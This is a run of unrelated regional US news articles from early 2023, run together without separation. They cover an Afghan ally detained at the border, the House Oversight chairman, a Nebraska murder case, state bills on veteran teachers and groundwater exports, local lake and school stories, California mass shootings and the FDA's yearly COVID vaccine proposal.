Those interested in running for a seat have until March 3 to file for the April 4 primary election. Up to four candidates would advance to the May 2 general election. The terms are for six years.

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HOUSTON  Abdul Wasi Safi kept documents detailing his time as an Afghan soldier who worked with the U.S. military close to him as he made the monthslong, treacherous journey from Brazil to the U.S.-Mexico border.

He fled Afghanistan fearing retribution from the Taliban following the August 2021 American withdrawal, and he hoped the paperwork would secure his asylum in the U.S. Despite thick jungles, raging rivers and beatings, he kept those documents safe.

But after crossing the U.S.-Mexico border near Eagle Pass, Texas, in September, Wasi Safi was arrested on a federal immigration charge. He remains jailed at a detention center in Eden, Texas, and fears his asylum claim may be denied.

Wasi Safi's brother, attorneys, military organizations and a bipartisan group of lawmakers working to free him say his case highlights how Americas chaotic military withdrawal continues to harm Afghan citizens who helped the U.S. but were left behind.

He tried every way possible to save these certificates in the hopes that once he ... presents his appropriate documents at the southern border ... he would receive a warm welcome and his service would be appreciated and recognized, said Sami-ullah Safi, his brother.

If sent back to Afghanistan, he could be killed by the Taliban, which since its takeover has killed more than 100 Afghan officials and security force members, according to a United Nations report.

Its honestly just shameful that weve treated people that helped protect our country this way, said Jennifer Cervantes, one of Wasi Safis immigration attorneys.

Wasi Safi, 27, was an intelligence officer with the Afghan National Security Forces, providing U.S. forces with information on terrorists, said Sami-ullah Safi, 29, who goes by Sami.

Sami Safi had been employed by the U.S. military as a translator since 2010, making him eligible for a special immigrant visa for interpreters and others paid by the U.S. government. The visa allowed him to move to Houston in 2015.

But Wasi Safi was not eligible for that visa because he was not employed directly by the U.S.

When American forces withdrew from Afghanistan, Wasi Safi went into hiding and learned that friends in the Afghan military had been killed by the Taliban.

He was able to get a visa for Brazil and traveled there in 2022. But he realized he wasnt much safer as he and other migrants were beaten and robbed by gangs.

In the summer of 2022, Wasi Safi began his journey to the U.S.

When he crossed a huge river in the Darien Gap, the imposing and dangerous stretch of thick jungle between Colombia and Panama, Wasi Safi kept a backpack with his documents above his head, so they wouldnt get wet.

When police officers in Guatemala tried to extort him and took his backpack, Wasi Safi endured their beatings until he got the documents back, according to his brother.

On his journey, Wasi Safi suffered serious injuries from beatings, including damaged front teeth and hearing loss in his right ear. Zachary Fertitta, one of his criminal defense attorneys, said Wasi Safi has not received proper medical care while in detention. A GoFundMe page has been set up to help pay for medical care if hes released.

Sami Safi said his brother has become disillusioned since his detention, believing the documents he thought would save him are worthless.

But Fertitta said those documents show hes clearly an ally, was trained by our troops, worked with our troops.

U.S. Rep. Sheila Jackson Lee, a Houston Democrat, last week sent a letter to President Joe Biden, asking him to pardon Wasi Safi for his immigration related charges. She said Thursday that his documents show hes an individual who obviously loved this country ... and was willing to die for this country.

Republican Congressmen Dan Crenshaw of Texas and Michael Waltz of Florida, as well as more than 20 veterans groups have also called for Wasi Safi's freedom while his asylum claim is reviewed.

The White House declined to comment on Friday, referring questions to the Justice Department and U.S. Customs and Border Protection. The U.S. Attorneys Office for the Western District of Texas, which is prosecuting his case for the Justice Department, and Customs and Border Protection didnt immediately return emails seeking comment.

Nearly 76,000 Afghans who worked with American soldiers since 2001 as translators, interpreters and partners arrived in the U.S. on military planes after the chaotic withdrawal from Afghanistan. But their immigration status remains unclear after Congress failed to pass a proposed law, the Afghan Adjustment Act, that would have solidified their legal residency status.

Fertitta said Wasi Safis case highlights the countrys broken immigration system and its failure to help Afghan allies.

You have all of those things colliding at our border and its a very difficult problem to sort out, Fertitta said.

Sami Safi said he remains hopeful.

I am hoping that President Biden and those who have authority over this case step up and save his life. He has given enough sacrifice for this country. My whole family has sacrificed for this country, he said.

Photos: Biden visits the border for the first time
WASHINGTON  In early 2017, freshman Rep. James Comer found himself aboard Air Force One with the country's two most powerful Republicans, President Donald Trump and Senate Majority Leader Mitch McConnell. As they returned to Washington from a Kentucky rally, the conversation turned to the president's first legislative push, with McConnell encouraging Trump to pursue an infrastructure deal.

But Trump and House GOP leaders chose instead to carry out a futile fight to repeal the Affordable Care Act. It was a mistake that Comer believes has cost his party for years  and one that serves as a lesson for him as he takes charge now of the powerful House Oversight and Accountability Committee.

"Let's commit to things that are achievable, not just red-meat talking points that will get you on Fox News for 4 1/2 minutes," Comer told The Associated Press in a March interview as Republicans campaigned to regain control of the House.

Those high-minded words will soon be put to a test.

Comer, the grandson of rural Kentucky political leaders, will lead a committee whose members are among the most hard-line conservatives in Congress. Some have introduced articles of impeachment against President Joe Biden and pledged far-reaching investigations of his administration and family, particularly his son Hunter.

Comer has called for vigorous inquiries, too, and during Rep. Kevin McCarthy's grueling path to being elected House speaker, argued that the drawn-out process  15 ballots over several days  was only delaying the start of that much-needed work.

And yes, Comer has landed regularly on Fox News.

The 50-year-old, who often goes by Jamie and speaks in a thick Appalachian drawl, has been little known nationally. Comer is described by members of both parties as even-keeled and approachable, and his climb to power is playing out in an overtly partisan environment as Republicans hold a slim majority in the House and face Democratic control in the Senate.

Comer, first elected to public office at age 27, has pledged to go after waste, fraud and abuse in the government. But as one of his first acts as chairman, he sent letters to former Twitter executives over the company's role in the handling of a New York Post story about Hunter Biden's laptop. In December, Comer called for a halt to all funding of the FBI until bureau leaders came to Congress to explain claims made through internal Twitter communications that officials from the previous leadership team had suppressed right-wing voices. The FBI said those claims had no merit.

Comer is now also confronted by committee members utterly devoted to Trump and to returning him to the White House. Some cling to the baseless allegation that Trump beat Biden in 2020 and seem more bent on getting attention than achieving any legislative outcome.

"I think we've got an important job, and I think it's important to be factual," Comer said in a recent interview. "I think it's important for the future of congressional investigations because, at this moment in time, congressional investigations don't have a lot of credibility because they've been so partisan."

The former state legislator arrived in Congress after losing the Republican nomination for governor in 2015, a mere 83 votes behind Matt Bevin, a tea party-backed rival.

Days before that primary election, a former college girlfriend outlined several allegations of abuse against Comer in an article in the Louisville Courier-Journal. Comer, who acknowledged dating the woman, denied abusing her, saying at the time that the crime of domestic violence "sickens me."

He came to Washington with a mission to work his way up from the backbench of the committee he now heads. In the last Congress, he became the top Republican on the committee, which was led by then-Rep. Carolyn Maloney, D-N.Y.

Maloney, who lost a Democratic primary to Rep. Jerry Nadler last year, said she had a good working relationship with Comer. "He was a partisan fighter, but it was also reasonable," she said in an interview. "And we did work together on several bills that helped the country."

Appointed to Comer's committee were ultra-conservative firebrands and loyal Trump allies Reps. Marjorie Taylor Greene of Georgia, Lauren Boebert of Colorado and Paul Gosar of Arizona. Their additions are expected to further complicate the chairman's ability to not stray the committee into the fringe.

"I think that Kevin McCarthy has put him in something of a squeeze play by giving in to all of the extreme right-wing demands in order to assemble his thin majority and then placing so many of the extremist members on the Oversight Committee," said Rep. Jamie Raskin of Maryland, the top Democrat on the committee.

"And I know it will take every bit of political skill that he has to both conduct serious oversight and then also accommodate the demands of a group of members who can often be fanatical and unreasonable."

Greene introduced articles of impeachment against Biden on his first day of office and promised to pursue the effort once seated on the committee.

"Joe Biden, be prepared. We are going to uncover every corrupt business dealing, every foreign entanglement, every abuse of power, and every check cut for The Big Guy," Greene said in a recent statement.

The White House responded by saying that Comer is "setting the stage for divorced-from-reality political stunts."

Ian Sams, a spokesperson for the White House counsel's office, said in a statement that the chairman "once said his goal was to ensure the committee's work is 'credible,' yet Republicans are handing the keys of oversight to the most extreme MAGA members of the Republican caucus who promote violent rhetoric and dangerous conspiracy theories."

Comer said he has made it clear to those members that their mandate is the truth: "I said, 'We'll look into anything, but it's not going to be on Oversight stationery unless we can back it up with facts.'"

Photos: Scenes from historic speaker vote of 118th Congress
HARTINGTON  Prosecutors must show evidence that Carrie Jones fatally shot a Laurel man inside his home before her case can proceed to district court.

District Judge Bryan Meismer on Monday granted a defense request for a preliminary hearing in county court to determine if there's probable cause that Jones committed first-degree murder and other crimes before she can be bound over to Cedar County District Court for arraignment.

The hearing was scheduled for Feb. 15.

Prosecutors in December filed a complaint charging Jones, 43, of Laurel, with first-degree murder, tampering with physical evidence and being an accessory to a felony directly in district court rather than in county court as is the usual procedure. Jones has a right to a preliminary hearing first in county court, and her attorney, Douglas Stratton, requested the hearing Monday at what was scheduled to be an arraignment in district court.

Meismer also granted Stratton's motions for the appointment of an additional attorney to represent Jones and to receive a copy of the search warrant and affidavit the state used as a basis for the charges against Jones. Those documents were filed under seal because they contain significant details of the investigation.

Assistant Nebraska Attorney General Corey O'Brien objected to neither motion, but asked Meismer to ensure the affidavit remained sealed after Stratton received his copy.

If details in those documents were made public and reported by the media, O'Brien said, it could jeopardize the right of Jones and her husband, Jason Jones, who also faces murder charges, to receive a fair trial in Cedar County or nearby counties.

"We'd probably be looking at taking this case out to Scottsbluff" if the affidavit was unsealed, O'Brien said.

Carrie Jones is accused of killing Gene Twiford in his house at 503 Elm St. in the early morning hours of Aug. 4, when the body of Twiford, 86, his wife, Janet, 85, and their daughter Dana Twiford, 55, were found shot to death in their burning home. The bodies were discovered shortly after firefighters and police responded to an explosion and fire three blocks away at 209 Elm St., where they found the body of Michele Ebeling, 53, who also had been shot.

According to court documents, Jones destroyed or concealed physical evidence after the shootings and hid her husband in an effort to prevent his arrest. She was arrested Dec. 16 and remains in custody on a $1 million bond.

Jason Jones, 42, who lived with his wife across the street from Ebeling, was arrested at their home about 24 hours after the bodies were discovered. He is charged with four counts each of first-degree murder and use of a firearm to commit a felony and two counts of first-degree arson. He is accused of shooting all four victims and setting the two houses on fire.

O'Brien last week filed notice the state will seek the death penalty against Jason Jones, noting aggravating circumstances that he committed several killings at the same time and also killed to conceal the commission of another crime or to conceal his identity.

Jason Jones also had been scheduled to be arraigned Monday, but his attorney filed a waiver of appearance last week and advised the court Jones would not be entering a plea because he would file a motion to quash sections of Nebraska's death penalty statute as unconstitutional.

A hearing on the motion to quash is scheduled for Feb. 27 in Cedar County District Court.

Jason Jones is being held without bond at the Nebraska Department of Corrections Reception and Treatment Center in Lincoln, where he continues to receive treatment for burns received in the incidents.

Top Journal Star photos for January 2023
Military veterans could more easily take on a new mission under a proposal heard by the Nebraska Legislature's Education Committee Monday.

The bill (LB188) would allow veterans to become K-12 teachers without having to get teacher education. Instead, they could get five-year teaching certificates and learn on the job from experienced teachers.

State Sen. Ben Hansen of Blair, who introduced the measure, said it would accomplish two goals. It would provide a career option for veterans, while helping ease the growing shortage of teachers across Nebraska.

Under the bill, veterans would have to meet certain conditions to get the temporary teaching certificates. Those include serving at least four years in the military and not being dishonorably discharged, having at least 60 college credits with a grade-point average of 2.5 or higher and passing a test in the subject area they would be teaching.

The bill also would require that mentor teachers, with at least three years of experience, be assigned to the veterans-turned-teachers for their first two years in the classroom.

Elizabeth Davids welcomed the idea. She said she has heard from numerous parents and teachers who are "at the end of their rope" trying to cope with vacant teacher positions and a lack of substitute teachers.

"I can't think of anyone else I would trust more than veterans who have served this country," she said.

So did Kevin Naumann, a Catholic school administrator who retired from the Air National Guard. He said veterans have the discipline, patriotism and work ethic needed in the classroom, along with valuable skills and experience. He also said any initiative that would increase the number of teacher candidates would be useful.

Others argued the bill would lower teaching standards for one group of people and said that serving in the military and completing two years worth of college courses does not necessarily prepare someone to handle a classroom full of children.

Isau Metes, a U.S. Army veteran and English teacher, testified for the Nebraska State Education Association. She raised concerns that the bill does not specify what subjects the person took in college nor does it set a high enough standard for the person's discharge. She said veterans can have discharges under conditions that would be troubling, even if the level is above a dishonorable discharge.

Nicole Hochstein, a teacher married to a military veteran, said mentoring veterans-turned-teachers would add to the workload of existing teachers. She also questioned whether the qualifications set in the bill would be sufficient.

"Having the title of veteran doesn't mean you are upstanding and trustworthy," she said. "We are essentially saying that anyone off the street can teach."

Ryan McIntosh, speaking for the National Guard Association of Nebraska, praised the bill's "out-of-the-box" approach, although he suggested limiting the temporary certificates to veterans who have an honorable discharge or a general discharge under honorable conditions. He testified as neutral on the bill because the association has not yet taken a position on it.

Meet the Nebraska state senators making laws in 2023
BURLINGTON  A referendum that was designed and presented as advisory wound up persuading Burlington aldermen to embrace a plan for maintaining Echo Lake over a less expensive option of removing the lake.

That is how some aldermen are explaining their vote to implement a $9 million strategy for saving the troubled man-made lake by rebuilding a deteriorated dam and dredging tons of pollution submerged underwater.

The Burlington City Council voted unanimously to adopt the lake plan Dec. 6 without much debate that would have allowed council members to articulate their reasons for choosing lake renewal over lake removal.

City engineers have estimated that removing the dam and draining the lake could be accomplished for as little as $1.5 million.

Some aldermen now are citing a citywide referendum on the Echo Lake issue as pivotal in determining how they voted.

The advisory referendum conducted Nov. 8 showed that 60% of those casting ballots favored an option that included maintaining Echo Lake, while 40% favored removing the lake. Turnout in the referendum totaled 4,469 voters, or about 70% of the citys total registered voters.

Alderman Jon Schultz, the council president, said he never planned to cast a vote on Echo Lakes future that disagreed with whatever the majority of voters decided in the referendum.

I only ever intended to follow the election night results, Schultz said. Why else send the issue to the voters?

Alderwoman Corina Kretschmer similarly said her vote was directly impacted by the referendum results.

I felt it was best to listen to our communitys vote, Kretschmer said.

The council had previously decided to structure and promote the referendum as advisory only, which means city officials would not be required to follow the wishes of the voters. City staff had recommended holding an advisory referendum rather then a binding referendum, so that aldermen would have the flexibility to do whatever they thought was best.

Alderman Tom Vos said he voted to keep Echo Lake because of what he called the lakes sentimental value.

Vos said he favored maintaining the lake all along, but he wanted to hold a referendum so that people could have input before the matter was decided by the 9-member City Council, which includes eight aldermen and the mayor as a tiebreaker vote.

Its not fair for the community, one way or the other, for the eight of us to make the decision, he said.

Other aldermen could not be reached for comment about their vote on the Echo Lake issue.

With the city moving toward saving the lake, city officials next must submit their plans to the Wisconsin Department of Natural Resources for approval. State regulators have given Burlington a deadline of June 1 to present a plan for the future of Echo Lake.

Once the city and state have agreed on a plan, the city will seek construction proposals from contractors for the estimated $9 million project.

Echo Lake has been part of the community since the 1800s when a dam was built along the White River to power a mill. The mill is long gone, but the city-owned dam remains in a state of disrepair. State regulators have given the city until 2025 to either remove the dam or fortify it to meet state safety standards.

City consultants estimate that maintaining the lake would cost about $5 million, or $1,398 in higher property taxes for the average homeowner, if the city has to borrow the money. In contrast, disassembling the dam and draining the lake would cost about $1.5 million, or $409 in property tax increases on average.

Without the dam, engineers have forecasted that the White River would resume flowing naturally through the area, spanning 50 to 100 feet across and with an average water depth of 1 to 2 feet.

In structuring the referendum for voters Nov. 8, officials added millions of dollars in amenities and features to the project, such as boardwalks, fishing piers and decorative fountains. The choice presented on the ballot was a $9.1 million plan for saving the lake or an $8.7 million plan for removing it.

The council then voted Dec. 6 not only to salvage the lake, but to implement the same $9.1 million hypothetical scenario that had been on the ballot. That includes $367,000 for new lighting, $213,000 for expanded trails, $225,000 for an outdoor performance facility, $225,000 for an observation deck and other additions.

The price tag for the $9.1 million endeavor is calculated at $2,800 for the average homeowner over the 20-year period it would take to repay the borrowed money. The city has secured a $1 million state grant to ease the burden on local taxpayers, and officials hope to find other outside funding prospects.

Vos said he hopes to revisit the question of whether to include so many amenities and features in the project. He questioned whether the city needs trails and fountains to comply with state regulations on dam safety.

I want to do exactly what it takes to get the DNR off our backs, he said.

Other aldermen, however, said they are committed to following through with what voters selected in the referendum.

Schultz said deciding how to vote on the issue was easy.

If we werent going to follow the referendum, he said, we should have just made a decision months ago and gotten this all underway.

Neither Schultz nor Kretschmer would say whether they think maintaining Echo Lake is right for the community long term.

Kretscher said her job as alderman was to follow the peoples wishes.

Sometimes it doesnt matter what my opinion is, she said. I may or may not agree on a subject; its the communitys voice that I need to listen to.
RACINE  Damian Moss grandfather wanted him to graduate high school.

Moss has lived with his grandparents since age 2, and he hoped to be their first grandchild to receive a diploma.

That appeared unlikely a year ago, but Moss made it a reality last week.

He graduated from Park High School, 1901 12th St., through its competency-based graduation program.

Moss was one of 21 Park students who received a diploma last Wednesday via the program.

Moss did not take classes seriously his first few years, saying he often misbehaved.

However, when an instructor mentioned the competency-based program, he took advantage of the opportunity.

It was a big surprise to me to see that I had another chance, Moss said. This competency program, it was a blessing.

The program has existed for a couple years at Park, Horlick and Case high schools. It is done in partnership with YWCA Southeast Wisconsin and is open to current seniors or students who didnt graduate with their classes in recent years.

Students attend class for three hours every day and complete portfolios of different subjects to receive credit.

While in the program, students must attend at least 90% of classes and receive scores of at least 80% on all aspects of portfolios.

The three-hour schedule is done to accommodate students life situations, according to Hailey Keeran, one of two competency-based teachers at Park.

A lot of (students) do have outside factors going on, Keeran said. A lot of them have to work, and some of them are working to support their family. All the kids in this program have had unique situations.

As an underclassman, Moss was stubborn, anti-authority and did not think he needed an education.

I always thought I could do it on my own, Moss said. I didnt care about school. I was just following the wrong crowd, doing the wrong things, really just not focused.

The COVID-19 pandemic hit during his sophomore year, and Moss said he rarely opened his computer for virtual class.

He attempted to catch up as a junior but was overwhelmed by the amount of work.

I was so behind, Moss said. I just said, screw it.

That changed during the past year.

Moss knew right away that the competency-based program fit him. For the first time in high school, he looked forward to attending class.

Moss appreciated the routine of going to one classroom every day with the same teacher and classmates.

It kept me more focused and more involved, Moss said.

He enjoyed the educational style taught by Keeran, and Moss said he matured as well.

He looks back in disbelief at his actions from a few years ago.

I just had a childish mindset, Moss said. I treated a lot of teachers like crap, and I was disrespectful, cursing, swearing at teachers. I cant believe I used to be like that.

At graduation, the two competency-based instructors described each Park student who earned a diploma.

Keeran expressed pride in Moss, who she said has come a very long way.

He was a behavior problem, and he became one of my best students, Keeran said. I have never had one single problem with him. He is the sweetest kid you will ever meet.

Moss is proud his effort paid off and that he graduated.

It feels great, Moss said. Im just happy its all done.

The magnitude of his accomplishment didnt hit Moss until after the ceremony.

When I got home, it gave me time to calm down and look at it and realize, OK, now I really just graduated, Moss said.

Going forward, Moss said he is interested in attending Gateway Technical College.

He has a job and plans to stay in Racine until his finances are in order.

Graduation was cause for celebration, but Moss also had bittersweet feelings. His grandfather died last year and didnt witness the ceremony.

It made me happy, but it made me sad at the same time, knowing that he wasnt able to see it, Moss said.

However, Moss said he knows his grandfather would be thrilled and impressed with his turnaround.

For him seeing me all these years act a fool and do bad, he wouldve been really, really, really happy, Moss said.

Joyful end of a long journey: Racine Unified 2022 summer school graduation in photos Daydeon Allen & Kimberly Allen Trinity King and grandparents Perla Diaz with diploma Perla Diaz with family Perla Diaz waiting to enter Daydeon Allen hug Trinity King receives diploma Jorryn Franklin smiles Perla Diaz receives diploma Perla Diaz and Carmen Morales Trinity King preparation Superintendent Eric Gallien
President Joe Biden praised Madison on Friday for purchasing 46 electric buses to benefit the environment and public health.

Speaking at the White House to the U.S. Conference of Mayors, Biden said that, in addition to large projects like highways and bridges, Transportation Secretary Pete Buttigieg has been working with mayors to implement smaller climate-friendly projects as well.

Like in Madison, Wisconsin, where Mayor (Satya) Rhodes-Conway is buying 46 electric buses, replacing those dirty diesels. ... Its a big deal, the president said.

Rhodes-Conway announced last March that Madison will use $41.6 million in federal funding to buy 27 electric buses, more than half the funding needed for an all-electric Bus Rapid Transit fleet.

BRT will be a high-frequency, high-capacity, limited-stop service, with 60-foot buses running on city streets and dedicated lanes with special stations.

The city hopes an east-west route will be ready by fall of 2024, with a future route running north to south.

I am delighted that the president recognized Madison as a national leader on climate action and reducing harmful greenhouse gases, Rhodes-Conway said in a statement. We couldnt do it without the strong partnership of the White House and the federal Department of Transportation.

Rhodes-Conway, who attended the mayors conference, is the national chair of U.S. Climate Mayors, a group of more than 500 mayors trying to accelerate climate action across the country.

The city said electric buses are expected to conserve nearly a quarter million gallons of fuel annually.

Madison actually got a double-shot of national love this past weekend.

In addition to Bidens comments, PBS premiered a Madison-focused episode of the travel series Samantha Browns Places to Love. Madison is one of 10 locales featured in the series sixth season.

Madison appears on a lot of 'best of' lists. Here are 25 of them Best place to live Best Beer Best biking Best city for the young and broke Best state capitals Best naked bike ride Most caring city Best remote work situation Best city for recent grads Best city to rent with pets Best School Best place for kids Best food truck Best college football Sportiest city Best outdoor activities Best work-life balance Best city for runners Best scientists Best place to walk Most successful women Greenest city Best place to retire Heat relief Most dog-friendly city
1. Yes. Having a community member interview panel is an excellent opportunity for input.

2. Yes. Its good that the city will allow residents to meet the finalist at a reception.

3. No. The city should have conducted a public survey early in the process, as KISD is doing.

4. No. Residents should be able to meet candidates before a lone finalist is chosen.

5. Unsure. Its hard to know how to gauge the proper level of public involvement.

Vote

View Results
A fire alarm at an Onalaska school triggered a brief visit Monday from the Onalaska Fire Department.

According to the fire department, crews were dispatched at 11:30 a.m. to St. Paul Lutheran School, where the buildings automated alarm was set off by a stove fire. An evacuation of the school had already begun by the time the first truck arrived within four minutes of the call.

The fire appeared to have been extinguished by the time emergency crews arrived. School staff opened doors and activated fans to ventilate light smoke in the hallways, cafeteria and kitchen. Students and staff were sent to the gymnasium until ventilation was completed.

The fire department was at the scene for about 30 minutes. No injuries were reported.

Schools are required to practice fire drills so they are prepared for this type of emergency, the fire department said in a press release. Today was a perfect example of why staying calm and exiting the school when the alarms sound is so important.

School staff made other arrangements to serve students lunch.

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Can your pooch snuggle and follow basic commands? If so, UW Healths American Family Childrens Hospital offers a new opportunity for canine comforting and cuddling.

UW Health Kids is launching a Caring Canines program, which replaces its Pet Pals therapy program that started in 1996 and ended during the COVID-19 pandemic. Volunteers and their dogs make bedside visits and provide a calming influence, cuddle time and a feeling of normalcy for patients and families.

This program will allow us to expand our efforts to help patients and families cope with the stress and uncertainty of their time in the hospital, Katie Glass, child life education specialist, UW Health Kids, said in a statement.

This program is different from the hospitals Canine Health and Medical Pals, or CHAMPs, facility dog program, where two specially trained dogs work alongside staff and carry out specific coping plans for certain patients.

For the new Caring Canines program, the hospital is looking for volunteers at least 18 years old who can bring their dog to visit at least twice a month for at least a year.

The dogs must be able to: sit and lie down with only one command; stay until called with one command; walk loosely on a leash and not pull; be friendly with other dogs; perform commands without treats; not bark or whine much; and be up-to-date on all vaccinations.

To learn more and apply, visit uwhealth.org/caring-canines.
California, the most populous state in the United States, has experienced three deadly mass shootings in just eight days.

On Monday, police arrested a suspect in the shooting deaths of seven people in Half Moon Bay, California. The incident came just two days after a Lunar New Year attack in Monterey Park that killed 11 people. And on Jan. 16, a young mother and her baby were among six people killed in a shooting at a home in Californias Central Valley.

Police identified the gunman in Half Moon Bay as 67-year-old Chunli Zhao. San Mateo County Sheriff Christina Corpus said officers found him in his car at a sheriffs substation.

A total of seven bodies were found in two places. Another person was found injured at a farm several kilometers away from the other shooting. Officials believe Zhao worked at one of the places where victims were found.

Officials do not know why he carried out the shooting. But Reuters reports Corpus as saying that he is fully cooperating with the investigation. The sheriffs department believes Zhao acted alone.

Half Moon Bay is a coastal farming town about 48 kilometers south of San Francisco. About 12,000 people, mostly white, live in the area that is known for growing flowers and vegetables.

Half Moon Bay Vice Mayor Joaquin Jimenez said those killed included Chinese and Latin American farm workers. One official said some of the workers lived at the farming facilities and children may have witnessed the shooting.

A video of the arrest shows three officers approaching the parked car with their weapons prepared to fire. Zhao got out of his car and the police pulled him to the ground. Officers then handcuffed him and led him away.

California Governor Gavin Newsom said on the social media service Twitter that he was visiting people injured in the Monterey Park shooting when he was told of the shooting at Half Moon Bay. Tragedy upon Tragedy, he tweeted.

At this time, law enforcement officials are still learning more about the deadly shooting in Monterey Park, a majority Asian-American community near Los Angeles. The gunman, Huu Can Tran, shot himself after killing 11 people at a dance studio.

For the second time in recent days, California communities are mourning the loss of loved ones in a senseless act of gun violence, U.S. President Joe Biden said Tuesday morning. Even as we await further details on these shootings, we know the scourge of gun violence across America requires stronger action, Biden said.

The Associated Press reported that in less than three weeks of the new year, the U.S. has experienced six mass killings with 39 deaths. The information comes from a database kept by the AP, USA Today and Northeastern University. The database tracks every mass killing  defined as four dead, not including the offender  committed in the U.S. since 2006.

Im Mario Ritter, Jr.

Jeff Chiu and Olga Rodriguez reported this story for the Associated Press. Mario Ritter, Jr. adapted this report for VOA Learning English with additional material from Reuters.

_______________________________________________________________________

Words in This Story

facilities n. (pl.) buildings and equipment used for a specific purpose

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U.S. health officials are proposing that most American adults and children should receive a single, yearly COVID-19 vaccine shot.

The plan, put forward by the Food and Drug Administration (FDA), would remove the need for people to get a series of injections and boosters throughout the year to stay protected.

The proposal was announced as vaccine rates in the U.S. have dropped sharply. About 80 percent of Americans have had at least one COVID-19 vaccine dose. But only 16 percent of vaccine candidates have received the latest boosters that were approved in August.

The FDA will ask an outside group of vaccine experts to consider its proposal during a meeting on Thursday.

In documents published online, FDA scientists say many Americans now have preexisting immunity against COVID-19. This immunity came either from being vaccinated or infected, or a combination of the two. The FDA says that level of immunity should provide enough protection for most Americans to move to a yearly booster shot against the latest virus versions.

A similar yearly vaccination system is already in place in the U.S. for influenza, or flu. The highly spreadable viral infection often affects people during the cold season.

The FDA noted that for adults with weakened immune systems and very small children, a two-dose combination may be needed for protection against COVID-19. Scientists and vaccine companies plan to study vaccination and infection rates and other data to decide who should receive a single or two-dose shot.

The FDA will also ask its experts to vote on whether all vaccines should target the same virus versions, called strains. That step would be needed to take away the booster shot system.

The first shots launched by Pfizer and Moderna targeted the strain of the virus that began spreading in 2020 and quickly traveled across the world. The latest boosters launched last autumn were changed to target later strains that appeared.

The FDA's proposal calls for the agency, independent experts and manufacturers to decide which strains to target by early summer each year. This would leave several months for vaccine makers to produce and launch new shots before the autumn. That is about the same system long used to administer the yearly flu shot.

FDA officials say moving to a yearly COVID-19 vaccine plan would make it easier to publicize future vaccination campaigns. This could help increase vaccination rates nationwide.

The first two-dose COVID shots have offered strong protection against severe disease and death no matter what strain people were infected with. But the vaccines have proven to be less effective against mild infection cases. Experts continue to debate whether the latest boosters have effectively improved protection, especially for younger and generally healthy Americans.

Im Bryan Lynn.

The Associated Press reported this story. Bryan Lynn adapted the report for Learning English.

___________________________________________________________________

Words in This Story

booster  adj. an extra amount of a substance (called a vaccine) that is injected with a needle into a person or animal to help protect against a particular disease

dose  n. a measured amount of medicine taken at one time

immunity  n. bodily power to resist an infectious disease

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LINCOLN  The megadrought gripping the Southwest  climatologists say its the driest 22-year period seen in the region in 1,200 years  has created an unprecedented challenge for the Colorado River Basin.

Increased evaporation from rising temperatures, a lack of precipitation and exploding demand from population growth has dried up reservoirs used to supply drinking water to communities, threatened hydroelectric power stations, and forced farmers to reduce their water appropriations.

Governments at all levels have stepped in to cut use in order to stabilize water levels, but the ongoing and worsening crisis has revived discussions online and on newspaper opinion pages about dramatic proposals to pipe water into the region from elsewhere.

Building a pipeline thousands of miles long to divert water from the Mississippi River to drought-stricken Southern California. Diverting a part of the Missouri River into an aqueduct that would supply water to the drylands of eastern Colorado and western Kansas.

Or, sinking a pipe into the Ogallala Aquifer, which extends through eight Midwestern states, to pump water to thirsty areas elsewhere.

Thats a prospect Sen. Tom Briese of Albion said he wants to prevent, at least in the Cornhusker state: Water certainly is our most precious natural resource in Nebraska and it needs to be preserved and protected for future generations of Nebraskans.

His bill (LB241) would prohibit the director of the Nebraska Department of Natural Resources from granting any permit that would allow groundwater to be transported more than 10 miles outside this state, unless it was to comply with an interstate compact or decree.

Essentially, Brieses idea would allow the Legislature a say on any project seeking to tap into the Ogallala Aquifer, a major geological feature underlying much of Nebraska.

I want to ensure we have a roadblock in place if somebody contemplates such a transfer, he said.

Nebraska, like other western states, historically required legislative approval for surface water exports and a reciprocity agreement with another state for groundwater exports, meaning Nebraska could import water from the same states it agreed to export water to.

A 1982 U.S. Supreme Court case  Sporhase v. Nebraska  ruled groundwater was a commodity and couldnt be blocked for export under the dormant Commerce Clause of the U.S. Constitution, however.

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The case originated on a farm owned by Joy Sporhase and Dellmer Moss that straddled the Nebraska-Colorado border. They were denied permission to drill a new well on the Colorado side of the state line because the area had been overappropriated by other water users.

When they sought to pump water from a well on the Nebraska side of their farm to flood-irrigate a field on the Colorado side, the Nebraska Department of Water Resources cried foul, saying Sporhase and Moss had never received a permit to transport water across state lines.

The partners appealed the decision to the nations high court, which in addition to ruling groundwater was a commodity subject to federal regulation, kept in place Nebraskas right to regulate water use to ensure conservation.

After that ruling, the Legislature revised the interstate transfer statute to allow groundwater to be exported to other states for municipal purposes, as well as some industrial or agricultural uses.

It also allowed the state to consider whether or not a permit was in the public interest, if no other water was available for the applicant to use, and if the project would harm the nearby water supply or a future use.

That law was upheld by the Nebraska Supreme Court in 1996 after a Wyoming hog confinement operation sued the state after it was denied a permit to pump groundwater from a well in the Nebraska Panhandle.

The court found the denial of Ponderosa Ridges permit by the Nebraska Department of Water Resources was proper because the state found Ponderosa Ridge had not adequately explored using water on the Wyoming side of the border.

Since then, Nebraska has awarded dozens of permit requests from farmers, industrial users and municipalities outside the state to tap into its groundwater.

There are currently 33 active permits for groundwater transfers to adjoining states totaling 856 acre-feet, according to the Nebraska Department of Natural Resources. An acre-foot is the amount of water needed to cover an acre of land at a depth of 1 foot, or about 326,000 gallons.

The largest out-of-state users are agricultural producers in Colorado, Kansas and Wyoming, respectively, totaling 434 acre-feet annually, department records show.

Seven municipalities outside the state get their public water supply from Nebraska sources, including Yankton, South Dakota, which filed a permit with the state in 2009 to access 5.8 million gallons per day from wells dug on the Nebraska side of the Missouri River.

The other six permits for public water supply originated in Kansas.

There are also five permits to transfer groundwater from Nebraska to other states for industrial or construction use totaling 194 acre-feet, and seven permits for domestic or livestock use totaling 28 acre-feet, according to the state.

Mike Thompson, who oversees the Nebraska Department of Natural Resources permits and registrations division, said the application process is relatively simple, but reviewing each permit can be challenging.

Its very situational, Thompson said. The facts of each potential project vary quite a bit by type of use, geologic setting and other issues.

Recently, the department has processed about one permit to transfer groundwater out of state per year, Thompson said, often working with local natural resources districts to review documentation and ensure each meets the requirements outlined in state law.

Applicants need to explain the expected use of the water, any alternative sources of water and why they chose not to use them, while the department seeks to understand if the transfer would harm an existing or future Nebraska user in the area, he added.

Thompson said the department would need to consider those questions  and maybe others  if an application seeking a permit for one of the long-rumored projects to draw water from the Ogallala Aquifer to a dry area elsewhere would land on his desk.

We would have to weigh that carefully, he said. The relative impact of a large project is going to take more analysis to see how a large withdrawal would affect agriculture, which could take a fair amount of effort to do.

